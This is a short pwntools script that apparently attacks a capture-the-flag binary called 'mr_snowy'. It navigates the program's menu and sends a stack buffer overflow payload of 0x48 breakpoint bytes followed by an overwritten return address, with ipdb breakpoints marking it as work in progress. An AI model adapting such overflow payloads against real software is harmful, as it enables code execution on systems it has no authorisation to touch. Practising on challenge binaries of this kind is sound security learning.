import ipdb
from pwnlib.context import *
from pwnlib.elf import *
from pwnlib.tubes.process import *
from pwnlib.gdb import *
from pwnlib.util.packing import *
from pwnlib.rop.rop import *

context(arch='x86_64', os='linux')
context.terminal = ['/usr/bin/alacritty', '-e']
e = ELF("mr_snowy")
r = ROP(e)
ipdb.set_trace()
p = process(e.path)

def do_read():
  while True:
     ll = p.read()
     print(ll)
     if b'>' in ll:
       break

do_read()
p.sendline('1')
do_read()
p.sendline(b'\xCC' * 0x48 + p64(0x7fffffffc000))

ipdb.set_trace()